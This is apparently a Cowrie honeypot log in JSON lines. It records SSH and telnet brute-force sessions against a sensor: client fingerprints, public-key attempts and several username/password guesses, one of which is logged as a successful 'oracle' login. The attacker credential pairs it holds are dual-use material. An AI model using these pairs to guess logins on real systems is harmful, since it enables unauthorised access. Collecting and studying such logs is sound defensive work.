{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:21.848139Z","src_ip":"103.228.69.212","session":"c24668fdfda6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:22.803645Z","src_ip":"103.228.69.212","session":"c24668fdfda6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:23.038918Z","src_ip":"103.228.69.212","session":"c24668fdfda6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:16:23.043947Z","src_ip":"103.228.69.212","session":"60770b238fab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":47928,"dst_ip":"10.17.0.5","dst_port":22,"session":"604887b93902","protocol":"ssh","message":"New connection: 103.228.69.212:47928 (10.17.0.5:22) [session: 604887b93902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:17:13.059096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:17:13.064138Z","src_ip":"103.228.69.212","session":"604887b93902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:17:13.297898Z","src_ip":"103.228.69.212","session":"604887b93902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.240.88","src_port":22,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a1ba2af5b47","protocol":"ssh","message":"New connection: 79.127.240.88:22 (10.17.0.5:22) [session: 8a1ba2af5b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:17:14.041460Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:17:14.046099Z","src_ip":"79.127.240.88","session":"8a1ba2af5b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"a","message":"login attempt [kafka/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:17:14.264266Z","src_ip":"103.228.69.212","session":"604887b93902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:17:15.501975Z","src_ip":"103.228.69.212","session":"604887b93902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.159.59","src_port":36768,"dst_ip":"159.203.135.109","dst_port":23,"session":"68e25ad75ce5","protocol":"telnet","message":"New connection: 103.158.159.59:36768 (159.203.135.109:23) [session: 68e25ad75ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:18:00.329226Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":36578,"dst_ip":"10.17.0.5","dst_port":22,"session":"10c5034b9f65","protocol":"ssh","message":"New connection: 103.228.69.212:36578 (10.17.0.5:22) [session: 10c5034b9f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:18:10.473798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:18:10.479137Z","src_ip":"103.228.69.212","session":"10c5034b9f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:18:10.710719Z","src_ip":"103.228.69.212","session":"10c5034b9f65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"welcome","message":"login attempt [user1/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:18:11.665138Z","src_ip":"103.228.69.212","session":"10c5034b9f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:18:12.899252Z","src_ip":"103.228.69.212","session":"10c5034b9f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.323279857635498,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:18:13.652398Z","src_ip":"103.158.159.59","session":"68e25ad75ce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":53462,"dst_ip":"10.17.0.5","dst_port":22,"session":"59c47bc758b7","protocol":"ssh","message":"New connection: 103.228.69.212:53462 (10.17.0.5:22) [session: 59c47bc758b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:08.987655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:08.991915Z","src_ip":"103.228.69.212","session":"59c47bc758b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:09.217851Z","src_ip":"103.228.69.212","session":"59c47bc758b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ZTE@uss100","message":"login attempt [admin/ZTE@uss100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:10.155201Z","src_ip":"103.228.69.212","session":"59c47bc758b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:11.385187Z","src_ip":"103.228.69.212","session":"59c47bc758b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":40744,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d6cb1c1aebc","protocol":"ssh","message":"New connection: 80.94.92.186:40744 (10.17.0.5:22) [session: 6d6cb1c1aebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:18.705674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:18.788366Z","src_ip":"80.94.92.186","session":"6d6cb1c1aebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:18.998068Z","src_ip":"80.94.92.186","session":"6d6cb1c1aebc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:19.717188Z","src_ip":"80.94.92.186","session":"6d6cb1c1aebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:20.954910Z","src_ip":"80.94.92.186","session":"6d6cb1c1aebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.110.115.68","src_port":45052,"dst_ip":"10.17.0.5","dst_port":22,"session":"1907afef69b7","protocol":"ssh","message":"New connection: 175.110.115.68:45052 (10.17.0.5:22) [session: 1907afef69b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:43.710088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:43.714909Z","src_ip":"175.110.115.68","session":"1907afef69b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:43.803648Z","src_ip":"175.110.115.68","session":"1907afef69b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:bc:bb:e4:3e:7b:43:69:c5:6d:22:51:c8:60:a2:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCUg0g57P81mICR1pshBGFr53nzmhfIJSZb8hIZbgV7wnYesz12ER92LFoompsao969UonqjgGNOtbN2hiVmuEASX4eEimY1/CM8z+V2CYJbD+mYI1Q1+/eSREGURA9iglx3NyGiWFUqctOenh9LDeQtO9mHcfKz0g7m9HTjCh8MiyLfkpPsBxE+4OuKCPYgsfNVXsQ8F+fESP+fGbhwcOQgOfpkfYuEj1Yd8rQ0Nt7p/UKoX2fJQpdOjF43KEorom7Z4ScF6j/Wpp9sfUQkovzWwOfZYVRl0Ws3xibrH7VmQBkUsfr3QLVkrHJJtGeBFDNpBfNC6EL59hpB37nI/u+WOgJN2ROlcdrDtX7iC/dE5of5GdWqAags5k9lHDFabUEJP5uUCRhENgRw5jZ2Nh7Tp/SC07IY9Qz14qvp9RlORe2QzAPh46VUdl1YhILxY6iIQkZ9mylgH+zIh7/+49AgcXxj7EXEDIi2BDshxxpKbZOvR/+kGN3NFYvtaMz/c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:bc:bb:e4:3e:7b:43:69:c5:6d:22:51:c8:60:a2:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:44.224458Z","src_ip":"175.110.115.68","session":"1907afef69b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:bc:bb:e4:3e:7b:43:69:c5:6d:22:51:c8:60:a2:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCUg0g57P81mICR1pshBGFr53nzmhfIJSZb8hIZbgV7wnYesz12ER92LFoompsao969UonqjgGNOtbN2hiVmuEASX4eEimY1/CM8z+V2CYJbD+mYI1Q1+/eSREGURA9iglx3NyGiWFUqctOenh9LDeQtO9mHcfKz0g7m9HTjCh8MiyLfkpPsBxE+4OuKCPYgsfNVXsQ8F+fESP+fGbhwcOQgOfpkfYuEj1Yd8rQ0Nt7p/UKoX2fJQpdOjF43KEorom7Z4ScF6j/Wpp9sfUQkovzWwOfZYVRl0Ws3xibrH7VmQBkUsfr3QLVkrHJJtGeBFDNpBfNC6EL59hpB37nI/u+WOgJN2ROlcdrDtX7iC/dE5of5GdWqAags5k9lHDFabUEJP5uUCRhENgRw5jZ2Nh7Tp/SC07IY9Qz14qvp9RlORe2QzAPh46VUdl1YhILxY6iIQkZ9mylgH+zIh7/+49AgcXxj7EXEDIi2BDshxxpKbZOvR/+kGN3NFYvtaMz/c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:44.228281Z","src_ip":"175.110.115.68","session":"1907afef69b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:ab:7b:e1:6d:d8:56:8f:3d:21:13:b8:6f:9b:1e:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZ2ODTX2ANCnxfGpoOCOFMlWTzaSTVCX9gjRkCZR2fspSolBZ2+FtL2ikknNTP5Y8ULmSwKKRLp5bLmFNw1eIsO5L5u863y7xNv+Pd3NdRXHOiz/aRVmXAZGzi85u4Knx17dacaWYj+51k6WpqPHjg7PvHLCPw/EeM/p+QB5QHiuFKYqC6CihXWSTL/tHfkATk0ASAZBHFq5UQpEo+/uaVAq39KMB+aOBuKLG9xi4nLZYY45C781av8/3rIS8l0SdIVgtRZIq9XkIEdl8rxoceCyICvIExHA44U3cVwe/xczS9KpClyDFU36NQtWvXbLEe2k1hJRXA8j8rt7GqwBT5To+Z8Xc6MLrl/2C/5SRTKbMSc8gGoArJSiLSrPHkHybkeNCW0JPK21Tbqm5S0QAl2p4/FsW5ZsY3clEHC65VSKYQ1LMU9uTARSW9VuLNVgv4EmMLZ8vEftqmU8MI6GlavAwQiWDoUwHRkQwiDn+JSqHfwSdaBvC9aOXAKpsyAQYb3j2ZD5xfGO06MI9zuc4Ri6BWPSTeI2ujEoy3ADomlgcAgGFKS52gGB2Q71eXcK620vbU67UDJoBQjW1gdz0uiusA1oJOy3t0GN/FzEsIFc2GKpJK42PgvwECgPMC8DEOxNfImeCKjc5xYIEV6752fF1IIv9bgKuLO2U6qdB2Jw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:ab:7b:e1:6d:d8:56:8f:3d:21:13:b8:6f:9b:1e:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:44.317711Z","src_ip":"175.110.115.68","session":"1907afef69b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:ab:7b:e1:6d:d8:56:8f:3d:21:13:b8:6f:9b:1e:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZ2ODTX2ANCnxfGpoOCOFMlWTzaSTVCX9gjRkCZR2fspSolBZ2+FtL2ikknNTP5Y8ULmSwKKRLp5bLmFNw1eIsO5L5u863y7xNv+Pd3NdRXHOiz/aRVmXAZGzi85u4Knx17dacaWYj+51k6WpqPHjg7PvHLCPw/EeM/p+QB5QHiuFKYqC6CihXWSTL/tHfkATk0ASAZBHFq5UQpEo+/uaVAq39KMB+aOBuKLG9xi4nLZYY45C781av8/3rIS8l0SdIVgtRZIq9XkIEdl8rxoceCyICvIExHA44U3cVwe/xczS9KpClyDFU36NQtWvXbLEe2k1hJRXA8j8rt7GqwBT5To+Z8Xc6MLrl/2C/5SRTKbMSc8gGoArJSiLSrPHkHybkeNCW0JPK21Tbqm5S0QAl2p4/FsW5ZsY3clEHC65VSKYQ1LMU9uTARSW9VuLNVgv4EmMLZ8vEftqmU8MI6GlavAwQiWDoUwHRkQwiDn+JSqHfwSdaBvC9aOXAKpsyAQYb3j2ZD5xfGO06MI9zuc4Ri6BWPSTeI2ujEoy3ADomlgcAgGFKS52gGB2Q71eXcK620vbU67UDJoBQjW1gdz0uiusA1oJOy3t0GN/FzEsIFc2GKpJK42PgvwECgPMC8DEOxNfImeCKjc5xYIEV6752fF1IIv9bgKuLO2U6qdB2Jw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:44.321459Z","src_ip":"175.110.115.68","session":"1907afef69b7","protocol":"ssh"}
